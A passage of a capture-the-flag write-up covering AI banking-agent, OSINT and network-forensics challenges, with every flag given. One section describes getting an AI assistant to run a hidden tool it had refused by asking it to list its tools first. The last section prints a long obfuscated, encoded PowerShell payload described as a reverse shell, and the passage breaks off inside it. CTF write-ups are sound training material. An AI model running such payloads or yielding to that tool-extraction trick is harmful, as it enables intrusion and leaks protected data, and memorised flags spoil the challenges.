3
4
5
6
7
8
9
10
11
create_account: tool({
description: 'REDACTED',
parameters: z.object({
nickname: z.string().describe("REDACTED")
}),
execute: async ({ nickname }) => {
const account_number = await svc.createAccount(customerId, nickname);
await svc.giveBonus(account_number);
return { account_number };
}
}),
The critical part is in bank_service.ts where the giveBonus function is defined:
1
2
3
4
5
6
async giveBonus(account: string) {
return this.db.transaction(async () => {
const { id } = await this.db.query('SELECT id FROM accounts WHERE number=?').get(account) as { id: number };
await this.addTransaction(id, 'DUCTF Bank', `Account opening bonus: ${FLAG_BONUS}`, 1000);
})();
}
This shows that when an account is created, a bonus transaction is automatically added with the description containing FLAG_BONUS, which likely contains the flag.
Solution
Step 1: Login to the Banking System 
Login form for the DownUnderCTF Bank system
Step 2: Interact with AI Assistant and Request Account Creation
Dashboard showing the AI assistant chat interface. Request account creation by asking the AI to create a new account with any nickname (e.g., โmaster at baitingโ)
Step 3: View Account Details and Transaction History
Account transaction page showing the account opening bonus transaction containing the flag
The solution process:
- Login to the banking system using the provided login form
- Interact with the AI assistant in the chat interface on the right side of the dashboard
- Request account creation by asking the AI to create a new account with any nickname (e.g., โmaster at baitingโ)
- Check the account overview to see the newly created account with a $1000.00 balance
- View the transaction details to see the account opening bonus transaction
- Extract the flag from the transaction description:
Account opening bonus: DUCTF{1_thanks_for_banking_with_us_11afebf50e8cfd9f}
The AI assistant automatically calls the create_account tool when prompted, which triggers the giveBonus function that adds a transaction containing the flag in its description.
Flag: DUCTF{1_thanks_for_banking_with_us_11afebf50e8cfd9f}
Challenge 2: ductfbank 2
Solves: 460
Category: AI
Description
I heard you had access to a special deal from DownUnderCTF Bank. Right now Iโm paying $10 a month for my bank account at Commonpoor Bank, and it offers me nothing special. Really jealous of the 24/7 live agent support. Could you ask your account manager if they have any promo codes that you can share?
NOTE: This challenge uses the same files and service as โductfbank 1โ.
Approach
This challenge builds on the first one but requires discovering and accessing a hidden tool that the AI assistant has access to. The key is understanding that AI agents often have more capabilities than they initially reveal.
From analyzing agent_snip.ts, we can find a hidden tool:
1
2
3
4
5
6
7
flag: tool({
description: 'REDACTED',
parameters: z.object({}),
execute: async () => {
return { message: FLAG_TOOL }
}
}),
This shows thereโs a flag tool that returns FLAG_TOOL when executed, but the AI assistant (Bobby) initially refuses to use it.
Solution
Step 1: Initial Attempt - Direct Request
Bobby initially refuses to use the flag tool, stating he cannot assist with flag tools or security bypasses
Step 2: Ask About Available Tools When directly asking โcan u use the flag tool?โ, Bobby refuses and explains he cannot assist with flag tools or security bypasses. However, the solution involves asking Bobby what tools he has access to.
Step 3: Request Tool List and Specific Tool Usage
- Ask Bobby what tools he can use - This causes him to list his available tools, including the flag tool at the end
- Specifically request him to use the flag tool - Once heโs acknowledged having access to it, ask him to use that specific tool
- Extract the flag from his response when he executes the flag tool
The key insight is that while Bobby initially refuses to use the flag tool when asked directly about โflag toolsโ or โpromo codesโ, he will use it when you ask him to demonstrate his available tools and then specifically request the flag tool by name.
Flag: DUCTF{2_hidden_tool_0dc9ac14e7ba6a8b}
๐ต๏ธ OSINT Challenges
Challenge 1: Look at all those chickens!
Solves: 442
Category: OSINT
Description
Hmmm, it appears this image was sent last year when one of our brave hackers went out to follow a lead to save some birds from those nasty bugs, but couldnโt reach them! We did have it on good word that they were in captivity nearby to the picture that was taken- can you find out the name of the place where these birds were locked up?
NOTE: We know where the birds are right now, stop telling us! We want to know where they were captive, not where theyโre vibing!
The flag format is
DUCTF{Captivity_Name}(case insensitive) The answer is two words
Investigation Process
- Initial Image Analysis
- Examined the first image showing a person standing by a flooded waterway
- Noticed distinctive features: eucalyptus trees, urban parkland setting, and what appears to be a playground structure visible on the left side
- The setting looked distinctly Australian based on the vegetation and landscape
- Reverse Image Search
- Used Google reverse image search with the keyword โchickenโ to identify the location
- This led to discovering the birds in question were โbin chickensโ (Australian White Ibis)
- Found Reddit post identifying this as โBin Chicken Islandโ in the r/AustralianBirds subreddit
- Location Identification
- Searched for โBin Chicken Islandโ on Google Maps
- Identified the location as Coburg Lake Reserve in Melbourne, Australia
- Confirmed the location by matching distinctive features:
- The waterway configuration
- Surrounding parkland and trees
- Playground structure visible in the original image
- Historical Research
- Zoomed out from Coburg Lake Reserve on Google Maps to examine the surrounding area
- Discovered Pentridge Prison located nearby to the north of the reserve
- Research confirmed that Pentridge Prison was a historic correctional facility where the โbin chickensโ would have been held โcaptiveโ
Flag: DUCTF{Pentridge_Prison}
Challenge 2: fat donke diss
Solves: 714
Category: OSINT
Description
Dear K4YR0, ainโt no fat donke tryin to spit bars on the fat monke Regards, MC Fat Monke
Investigation Process
- Initial Analysis
- The challenge mentions โMC Fat Monkeโ as a key figure
- The message appears to be a diss track or rap battle reference
- Need to find information about this MC Fat Monke character
- Social Media Search
- Searched for โMC Fat Monkeโ across various platforms
- Found a SoundCloud page: https://soundcloud.com/mc-fat-monke
- This appeared to be the main profile for this character
- Audio Content Analysis
- Examined the first track on the SoundCloud page
- Found a description that referenced a YouTube video
- Description stated: โya cooked donke, check out my full vid on youtube www.youtube.com/watch?v=dWugaNwXjzIโ
- YouTube Video Investigation
- Navigated to the YouTube video link provided
- Carefully examined the video content frame by frame
- At timestamp 0:55, discovered a screen showing VS Code with visible flag information
Flag: DUCTF{I_HAVE_NOT_THOUGHT_UP_OF_A_FLAG_YET}
Challenge 3: Love GranniE
Solves: [solves]
Category: OSINT
Description
Hello dear, itโs your Grannie E. My lovely nurse took me out today and I found where I used to go see movies! Back in my day movies didnโt talk or have sound! How the times have changed. Iโve added in a photo from back when I used to live there, with help from my nurse. Iโm going for a cuppa now, will call later. Love, Grannie E.
Given the image from Grannie E, can you find the name of the movie building, and its current day location? Iโll need a suburb too. NOTE: Sometimes old records get out of date, you might need to try the street number next door Flag Format:
DUCTF{BuildingName_StreetAddress_Suburb}(case insensitive) - include the street number in the address
Investigation Process
- Historical Image Analysis
- Examined the black and white photograph showing people at what appears to be a train station or bridge
- The image shows period clothing and architecture consistent with early 1900s
- Notable features include a wooden bridge structure and railway infrastructure
- The reference to silent movies suggests the 1920s era
- Reverse Image Search
- Performed a Google reverse image search on the historical photograph
- Found a match in an official NSW Transport document
- Located the PDF: โEpping-Bridge-Project-Frequently-Asked-Questions-for-concept-design-and-Review-of-Environmental-Factors.pdfโ
- The document labeled the image as โEpping Station (Epping Bridge in the background) c.1920โ
- Location Identification
- Established the location as Epping Station area
- Began searching for historical theatres near Epping Station
- Focused on venues that would have shown silent films in the 1920s era
- Theatre Research
- Searched for โold theatres near Epping Stationโ
- Found Cinema Treasures website with historical theatre records
- Discovered the Epping Kings Theatre at 46 Beecroft Road, Sydney, NSW 2121
- Link: https://cinematreasures.org/theaters/40752
- Flag Construction Attempts
- First attempt:
DUCTF{EppingKingsTheatre_46BeecroftRoad_Epping}- INCORRECT - Researched alternative names for the same venue
- Found historical records referring to it as โThe Cambria Hallโ
- Second attempt:
DUCTF{TheCambriaHall_46BeecroftRoad_Epping}- INCORRECT
- First attempt:
- Address Verification
- Recalled the challenge note: โSometimes old records get out of date, you might need to try the street number next doorโ
- Tested with adjacent address number (47 instead of 46)
- Final attempt:
DUCTF{TheCambriaHall_47BeecroftRoad_Epping}- CORRECT
Flag: DUCTF{TheCambriaHall_47BeecroftRoad_Epping}
๐ฏ Miscellaneous Challenges
Challenge 1: Fishy Website
Solves: 211
Category: Misc
Description
Found this fishy website URL on my e-mail and it started to do some crazy stuff on my computer. I have captured some network traffic that may help you find out what is happening on my computer. Thanks a lot for the help!
Files provided: capture.pcapng
Solution
Step 1: Analyze the PCAP file Opening the capture.pcapng file, we can find HTTP requests containing suspicious base64-encoded data. Upon scanning the network traffic, we discover malicious PowerShell code that establishes a reverse shell connection.
1
powershell -EncodedCommand IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAQgA4ADgAQgA4AEIAOAA4ADgAQgBCAEIAOAA4ACAAPQAgADAAeABmADEALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAA2AGUALAAKACAAIAAgACAAMAB4AGMAZAAsAAoAIAAwAHgAYwA2ACwAMAB4ADcAOQAsADAAeAA0AGMALAAwAHgANgA2ACwAMAB4AGQAMQAsADAAeAAwADIALAAKACAAIAAgACAAIAAgACAAIAAgACAAMAB4AGYAOAAsADAAeAAzADMALAAwAHgAYwA0ACwAMAB4ADgANgAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeABlADcALAAwAHgAYQA0ACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAAzADUALAAwAHgAOABkACwACgAgACAAMAB4ADYAOQAsADAAeABiAGQALAAwAHgAZAAyACwAMAB4ADEAZAAsADAAeAA1ADAALAAwAHgAZgA1ACwAMAB4AGYAYgAsADAAeABkAGYALAAwAHgAZQBjACwAMAB4AGEAZgAsAAoAIAAgACAAIAAgADAAeAAwAGIALAAwAHgAOQBlACwAMAB4ADUAMwAsAAoAIAAgACAAIAAwAHgAYQA0ACwAMAB4AGQAMwAKACAAIABmAHUAbgBjAHQAaQBvAG4AIABJAEkAbABJAGwASQBsAEkAbABsAEkASQBsAGwASQBsACAAewAKACAAIAAgACAAIABwAGEAcgBhAG0AKABbAGkAbgB0AFsAXQBdACQAQgBCAEIAQgA4ADgAOAA4AEIAQgBCAEIAQgA4AEIAQgAsACAAWwBpAG4AdABdACQAQgBCADgAQgBCADgAQgA4AEIAQgBCADgAQgA4AEIAOAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgA4AEIAOABCADgAQgA4AEIAOABCADgAQgA4AEIAQgAgAD0AIAAiACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAQgA4ADgAOABCAEIAOAA4ADgAOAA4AEIAQgBCAEIAQgAgAGkAbgAgACQAQgBCAEIAQgA4ADgAOAA4AEIAQgBCAEIAQgA4AEIAQgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgA4AEIAOABCADgAQgA4AEIAOABCADgAQgA4AEIAQgAgACsAPQAgAFsAYwBoAGEAcgBdACgAJABCADgAOAA4AEIAQgA4ADgAOAA4ADgAQgBCAEIAQgBCACAALQBiAHgAbwByACAAJABCAEIAOABCAEIAOABCADgAQgBCAEIAOABCADgAQgA4ACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAEIAOABCADgAQgA4AEIAOABCADgAQgA4AEIAOABCAEIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABsAEkASQBJAGwAbABsAEkASQBJAEkAbABsAGwAbABJACAAewAKACAAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJABCADgAQgBCAEIAOABCADgAQgBCADgAQgBCAEIAOAA4ACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAQgBCAEIAOABCAEIAQgA4AEIAOAA4AEIAOAA4AEIAOAAKACAAIAAgACAAIAAgACAAIAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAOAA4AEIAQgA4ADgAQgBCADgAQgBCAEIAOAAgAD0AIAAwAC4ALgAyADUANQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAOAA4ADgAQgA4AEIAQgA4ADgAOABCAEIAOAA4AEIAIAA9ACAAMAAKACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABCADgAQgBCADgAQgBCAEIAOABCAEIAOABCAEIAQgBCACAAPQAgADAAOwAgACQAQgA4AEIAQgA4AEIAQgBCADgAQgBCADgAQgBCAEIAQgAgAC0AbAB0ACAAMgA1ADYAOwAgACQAQgA4AEIAQgA4AEIAQgBCADgAQgBCADgAQgBCAEIAQgArACsAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAOAA4ADgAQgA4AEIAQgA4ADgAOABCAEIAOAA4AEIAIAA9ACAAKAAkAEIAOAA4ADgAQgA4AEIAQgA4ADgAOABCAEIAOAA4AEIAIAArACAAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAQgBCADgAQgBCAEIAOABCAEIAOABCAEIAQgBCAF0AIAArACAAJABCADgAQgBCAEIAOABCADgAQgBCADgAQgBCAEIAOAA4AFsAJABCADgAQgBCADgAQgBCAEIAOABCAEIAOABCAEIAQgBCACAAJQAgACQAQgA4AEIAQgBCADgAQgA4AEIAQgA4AEIAQgBCADgAOAAuAEwAZQBuAGcAdABoAF0AKQAgACUAIAAyADUANgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgBCADgAOABCAEIAOAA4AEIAQgA4AEIAQgBCADgAWwAkAEIAOABCAEIAOABCAEIAQgA4AEIAQgA4AEIAQgBCAEIAXQAsACAAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAOAA4AEIAOABCAEIAOAA4ADgAQgBCADgAOABCAF0AIAA9ACAAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAOAA4AEIAOABCAEIAOAA4ADgAQgBCADgAOABCAF0ALAAgACQAQgBCAEIAOAA4AEIAQgA4ADgAQgBCADgAQgBCAEIAOABbACQAQgA4AEIAQgA4AEIAQgBCADgAQgBCADgAQgBCAEIAQgBdAAoAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAOABCAEIAOABCAEIAQgA4AEIAQgA4AEIAQgBCAEIAIAA9ACAAMAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAOAA4ADgAQgA4AEIAQgA4ADgAOABCAEIAOAA4AEIAIAA9ACAAMAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAQgBCADgAQgBCAEIAOABCAEIAQgA4ADgAQgAgAD0AIABAACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAEIAQgBCAEIAOAA4ADgAOAA4AEIAOAA4ADgAQgBCAEIAIABpAG4AIAAkAEIAQgBCADgAQgBCAEIAOABCADgAOABCADgAOABCADgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAQgBCADgAQgBCAEIAOABCAEIAOABCAEIAQgBCACAAPQAgACgAJABCADgAQgBCADgAQgBCAEIAOABCAEIAOABCAEIAQgBCACAAKwAgADEAKQAgACUAIAAyADUANgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgA4ADgAOABCADgAQgBCADgAOAA4AEIAQgA4ADgAQgAgAD0AIAAoACQAQgA4ADgAOABCADgAQgBCADgAOAA4AEIAQgA4ADgAQgAgACsAIAAkAEIAQgBCADgAOABCAEIAOAA4AEIAQgA4AEIAQgBCADgAWwAkAEIAOABCAEIAOABCAEIAQgA4AEIAQgA4AEIAQgBCAEIAXQApACAAJQAgADIANQA2AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgBCADgAOABCAEIAOAA4AEIAQgA4AEIAQgBCADgAWwAkAEIAOABCAEIAOABCAEIAQgA4AEIAQgA4AEIAQgBCAEIAXQAsACAAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAOAA4AEIAOABCAEIAOAA4ADgAQgBCADgAOABCAF0AIAA9ACAAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAOAA4AEIAOABCAEIAOAA4ADgAQgBCADgAOABCAF0ALAAgACQAQgBCAEIAOAA4AEIAQgA4ADgAQgBCADgAQgBCAEIAOABbACQAQgA4AEIAQgA4AEIAQgBCADgAQgBCADgAQgBCAEIAQgBdAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAOABCAEIAQgA4ADgAOABCAEIAQgA4ADgAQgA4ACAAPQAgACQAQgBCAEIAOAA4AEIAQgA4ADgAQgBCADgAQgBCAEIAOABbACgAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAQgBCADgAQgBCAEIAOABCAEIAOABCAEIAQgBCAF0AIAArACAAJABCAEIAQgA4ADgAQgBCADgAOABCAEIAOABCAEIAQgA4AFsAJABCADgAOAA4AEIAOABCAEIAOAA4ADgAQgBCADgAOABCAF0AKQAgACUAIAAyADUANgBdAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAQgBCADgAQgBCAEIAOABCAEIAQgA4ADgAQgAgACsAPQAgACgAJABCAEIAQgBCADgAOAA4ADgAOABCADgAOAA4AEIAQgBCACAALQBiAHgAbwByACAAJABCADgAOABCAEIAQgA4ADgAOABCAEIAQgA4ADgAQgA4ACkACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAALAAkAEIAQgBCAEIAQgA4AEIAQgBCADgAQgBCAEIAOAA4AEIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAGwAbABsAEkASQBsAEkASQBsAEkAbABsAGwAbABsAGwAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAF0AJABCADgAOAA4AEIAQgBCAEIAQgA4AEIAOABCADgAQgBCACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAOAA4AEIAOABCADgAQgA4ADgAQgA4AEIAQgA4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAEIAOAA4ADgAQgBCAEIAQgBCADgAQgA4AEIAOABCAEIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAQgBCADgAOAA4ADgAQgBCAEIAQgBCADgAQgBCACAAPQAgACgAbABJAEkASQBsAGwAbABJAEkASQBJAGwAbABsAGwASQAgAC0AQgA4AEIAQgBCADgAQgA4AEIAQgA4AEIAQgBCADgAOAAgACQAQgBCAEIAOAA4AEIAOABCADgAOAA4AEIAQgBCADgAOAAgAC0AQgBCAEIAOABCAEIAQgA4AEIAOAA4AEIAOAA4AEIAOAAgACQAQgA4ADgAOABCADgAQgA4AEIAOAA4AEIAOABCAEIAOAApACAAKwAgACgAMAB4ADAAMgAsADAAeAAwADQALAAwAHgAMAA2ACwAMAB4ADAAOAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAOABCAEIAQgBCAEIAQgA4ADgAOAA4ADgAOABCACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBHAGUAdABCAHkAdABlAHMAKABbAGkAbgB0ADEANgBdACQAQgBCAEIAQgA4ADgAOAA4AEIAQgBCAEIAQgA4AEIAQgAuAEwAZQBuAGcAdABoACkACgAgACAAIAAgACAAIAAgACAAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQgA4ADgAQgBCAEIAQgBCAEIAOAA4ADgAOAA4ADgAQgApAAoAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACgAMAB4ADEANwAsACAAMAB4ADAAMwAsACAAMAB4ADAAMwApACAAKwAgACQAQgA4ADgAQgBCAEIAQgBCAEIAOAA4ADgAOAA4ADgAQgAgACsAIAAkAEIAQgBCAEIAOAA4ADgAOABCAEIAQgBCAEIAOABCAEIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAGwAbABJAEkAbABsAGwAbABsAEkASQBJAGwAbABsAEkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgA4ADgAQgA4ADgAOABCADgAOAA4ADgAQgA4ADgAOAAgAD0AIAAoAEkASQBsAEkAbABJAGwASQBsAGwASQBJAGwAbABJAGwAIAAtAEIAQgBCAEIAOAA4ADgAOABCAEIAQgBCAEIAOABCAEIAIABAACgAMQA2ADgALAAxADgANwAsADEANwAyACwAMQA4ADMALAAxADgANAAsADEANgA3ACwAMgA0ADAALAAxADgANgAsADEANwAxACwAMQA2ADkALAAxADcANgAsADEANwA3ACwAMQA3ADYALAAxADgANgAsADEAOAA3ACwAMQA3ADIALAAyADQAMAAsADEAOAA5ACwAMQA3ADcALAAxADcAOQApACAALQBCAEIAOABCAEIAOABCADgAQgBCAEIAOABCADgAQgA4ACAAMgAyADIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAQgBCADgAQgA4AEIAQgA4ADgAOABCADgAOABCACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAQgA4ADgAQgA4ADgAOABCADgAOAA4ADgAQgA4ADgAOAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAOAA4AEIAQgBCAEIAOAA4AEIAOAA4ADgAOABCACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgACgAWwBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBHAGUAdABCAHkAdABlAHMAKABbAFUASQBuAHQAMQA2AF0AJABCAEIAQgBCADgAQgA4AEIAQgA4ADgAOABCADgAOABCAC4ATABlAG4AZwB0AGgAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEIAQgA4ADgAQgBCAEIAQgA4ADgAQgA4ADgAOAA4AEIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAOAA4ADgAOAA4AEIAOAA4ADgAOAA4ADgAQgBCADgAIAA9ACAAQAAoADAAeAAwADAAKQAgACsAIAAkAEIAQgA4ADgAQgBCAEIAQgA4ADgAQgA4ADgAOAA4AEIAIAArACAAJABCAEIAQgBCADgAQgA4AEIAQgA4ADgAOABCADgAOABCAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgA4AEIAQgBCAEIAOABCADgAOAA4ADgAQgBCADgAIAA9ACAAWwBiAHkAdABlAFsAXQBdACAAKABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AEcAZQB0AEIAeQB0AGUAcwAoAFsAVQBJAG4AdAAxADYAXQAkAEIAOAA4ADgAOAA4AEIAOAA4ADgAOAA4ADgAQgBCADgALgBMAGUAbgBnAHQAaAApACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQgBCADgAQgBCAEIAQgA4AEIAOAA4ADgAOABCAEIAOAApAAoAIAAgACAAIAAgACAAIAAgACAAJABCADgAOAA4ADgAQgA4ADgAQgBCADgAOAA4AEIAOAA4ACAAPQAgACQAQgBCADgAQgBCAEIAQgA4AEIAOAA4ADgAOABCAEIAOAAgACsAIAAkAEIAOAA4ADgAOAA4AEIAOAA4ADgAOAA4ADgAQgBCADgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAOAA4AEIAOAA4ADgAQgBCAEIAOABCADgAQgBCACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgACgAWwBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBHAGUAdABCAHkAdABlAHMAKABbAFUASQBuAHQAMQA2AF0AJABCADgAOAA4ADgAQgA4ADgAQgBCADgAOAA4AEIAOAA4AC4ATABlAG4AZwB0AGgAKQApAAoAIAAgACAAIAAgACAAIAAgAFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEIAOAA4ADgAQgA4ADgAOABCAEIAQgA4AEIAOABCAEIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgA4AEIAQgA4ADgAQgBCAEIAQgA4AEIAOAA4AEIAOAAgAD0AIABAACgAMAB4ADAAMAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAwAHgAMAAwACkAIAArACAAJABCADgAOAA4AEIAOAA4ADgAQgBCAEIAOABCADgAQgBCACAAKwAgACQAQgA4ADgAOAA4AEIAOAA4AEIAQgA4ADgAOABCADgAOAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgBCAEIAOAA4AEIAOABCAEIAOAA4AEIAOAA4AEIAIAA9ACAAQAAoADAAeAAwADAALAAgADAAeAAwAGIALAAwAHgAMAAwACwAMAB4ADAANAAsADAAeAAwADMALAAwAHgAMAAwACwAMAB4ADAAMQAsADAAeAAwADIALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAAwADAALAAwAHgAMABhACwAMAB4ADAAMAAsADAAeAAxADYALAAwAHgAMAAwACwAMAB4ADEANAAsADAAeAAwADAALAAwAHgAMQBkACwAMAB4ADAAMAAsADAAeAAxADcALAAwAHgAMAAwACwAMAB4ADEAZQAsADAAeAAwADAALAAwAHgAMQA5ACwAMAB4ADAAMAAsADAAeAAxADgALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADEALAAwAHgAMAAxACwAMAB4ADAAMQAsADAAeAAwADIALAAwAHgAMAAxACwAMAB4ADAAMwAsADAAeAAwADEALAAwAHgAMAA0ACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMAB4ADAAMAAsADAAeAAyADMALAAwAHgAMAAwACwAMAB4ADAAMAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMAB4ADAAMAAsADAAeAAxADYALAAwAHgAMAAwACwAMAB4ADAAMAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAAwADAALAAwAHgAMQA3ACwAMAB4ADAAMAAsADAAeAAwADAALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAAwADAALAAwAHgAMABkACwAMAB4ADAAMAAsADAAeAAxAGUALAAwAHgAMAAwACwAMAB4ADEAYwAsADAAeAAwADQALAAwAHgAMAAzACwAMAB4ADAANQAsADAAeAAwADMALAAwAHgAMAA2ACwAMAB4ADAAMwAsADAAeAAwADgALAAwAHgAMAA3ACwAMAB4ADAAOAAsADAAeAAwADgALAAwAHgAMAA4ACwAMAB4ADAAOQAsADAAeAAwADgALAAwAHgAMABhACwAMAB4ADAAOAAsADAAeAAwAGIALAAwAHgAMAA4ACwAMAB4ADAANAAsADAAeAAwADgALAAwAHgAMAA1ACwAMAB4ADAAOAAsADAAeAAwADYALAAwAHgAMAA0ACwAMAB4ADAAMQAsADAAeAAwADUALAAwAHgAMAAxACwAMAB4ADAANgAsADAAeAAwADEALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAwAHgAMAAwACwAMAB4ADIAYgAsADAAeAAwADAALAAwAHgAMAAzACwAMAB4ADAAMgAsADAAeAAwADMALAAwAHgAMAA0ACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA